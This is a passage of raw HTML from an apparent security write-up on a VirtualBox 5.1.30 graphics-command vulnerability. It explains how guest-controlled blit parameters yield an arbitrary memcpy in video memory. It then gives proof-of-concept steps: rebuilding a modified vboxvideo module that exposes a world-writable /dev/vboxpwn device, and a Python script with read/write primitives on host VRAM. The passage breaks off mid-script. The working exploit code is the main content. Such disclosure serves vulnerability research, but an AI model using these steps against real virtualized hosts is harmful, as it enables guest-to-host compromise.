class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-o\">*<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0025 seconds] -->  <\/p>\n<p>By setting <code><em>pDstDesc->pitch = 1<\/em><\/code>, <code><em>pDstRectl->top = 0<\/em><\/code>, we can get <code><em>cbOff = 0<\/em><\/code> and <code><em>cbSize = pDstRectl->height<\/em><\/code> (which we also control as the guest). <\/p>\n<p>This ends up in a call to <code>memcpy(VRAM + X, VRAM + Y, Z)<\/code>, where we can chose <code>X<\/code>, <code>Y<\/code> and <code>Z<\/code> arbitrarily.<\/p>\n<p><strong>Proof of Concept<\/strong><br \/> We will modified vboxvideo kernel module to trigger the bug.<\/p>\n<p>The modified module will allow us to creates a device <code>\/dev\/vboxpwn<\/code> which can be used to send arbitrary VBVA commands via its <code>ioctl()<\/code> handler.<\/p>\n<p>In this PoC we will use 64-bit Ubuntu VM.<\/p>\n<p>First we will download the VBoxGuestAdditions:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e364576733123\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     $ wget http:\/\/download.virtualbox.org\/virtualbox\/5.1.30\/VBoxGuestAdditions_5.1.30.iso      $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso \/mnt      $ sudo \/mnt\/VBoxLinuxAdditions.run<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e364576733123-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e364576733123-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e364576733123-3\">3<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e364576733123-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">wget <\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/download.virtualbox.org\/virtualbox\/5.1.30\/VBoxGuestAdditions_5.1.30.iso<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e364576733123-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-v\">mount<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">o<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">loop<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">t<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">iso9660 <\/span><span class=\"crayon-v\">VBoxGuestAdditions_5<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">1.30.iso<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-i\">mnt<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e364576733123-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sudo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">mnt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">VBoxLinuxAdditions<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">run<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0006 seconds] -->  <\/p>\n<p>Then we will upload the modified files &#8211; <code>HGSMIBase.c<\/code> and <code>70-vboxpwn.rules<\/code> to the home directory of the VM and rebuild the extensions with the modified code:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e366421681188\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     $ sudo cp 70-vboxpwn.rules \/etc\/udev\/rules.d      $ sudo cp HGSMIBase.c \/usr\/src\/vboxguest-5.1.30\/vboxvideo      $ sudo \/mnt\/VBoxLinuxAdditions.run &#8211;keep &#8211;target additions &#8211;noexec      $ sudo additions\/vboxadd setup      $ sudo reboot<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e366421681188-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e366421681188-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e366421681188-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e366421681188-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e366421681188-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e366421681188-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-i\">cp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">70<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">vboxpwn<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">rules<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">etc<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">udev<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">rules<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">d<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e366421681188-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-e\">cp <\/span><span class=\"crayon-v\">HGSMIBase<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">src<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">vboxguest<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">5.1.30<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-i\">vboxvideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e366421681188-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sudo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">mnt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">VBoxLinuxAdditions<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">run<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-v\">keep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-e\">target <\/span><span class=\"crayon-v\">additions<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-i\">noexec<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e366421681188-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-v\">additions<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">vboxadd <\/span><span class=\"crayon-i\">setup<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e366421681188-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-v\">reboot<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>There should now be a new device called <code>\/dev\/vboxpwn<\/code> with 0666 permissions.<\/p>\n<p>Now create the following Python script called <code>poc.py<\/code>:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e369273631622\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import os, fcntl, struct, array, sys        fd = os.open(&#8216;\/dev\/vboxpwn&#8217;, os.O_NONBLOCK | os.O_RDWR)        # 4\/5 = BPB_TRANSFER primitive, 1\/2 = PRESENT_BLT primitive      read_type = 4      write_type = 5        def read(offset, size):          data = &#8221;          data += struct.pack(&#8220;&lt;IIq&#8221;, 4, size, offset)          data += &#8216;\u0000&#8217;*size          data = array.array(&#8216;b&#8217;, data)          fcntl.ioctl(fd, len(data), data, 1)          return data[16:]        def write(offset, payload):          data = &#8221;          data += struct.pack(&#8220;&lt;IIq&#8221;, 5, len(payload), offset)          data += payload          fcntl.ioctl(fd, len(data), data)        def get_vram_size():          data = &#8221;          data += struct.pack(&#8220;&lt;IIq&#8221;, 6, 0, 0)          data += &#8216;\u0000&#8217;*4          data = array.array(&#8216;b&#8217;, data)          fcntl.ioctl(fd, len(data), data)          return struct.unpack(&#8216;&lt;I&#8217;, data[16:])[0]        vram_sz = get_vram_size()        import code      code.interact(local=locals())<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e369273631622-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e369273631622-34\">34<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fcntl<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sys<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-3\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;\/dev\/vboxpwn&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">O_NONBLOCK<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">O_RDWR<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-4\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># 4\/5 = BPB_TRANSFER primitive, 1\/2 = PRESENT_BLT primitive<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">read_type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">write_type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">5<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;IIq&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\u0000&#8217;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-e\">size<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-13\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;b&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fcntl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ioctl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">,<\/span><span 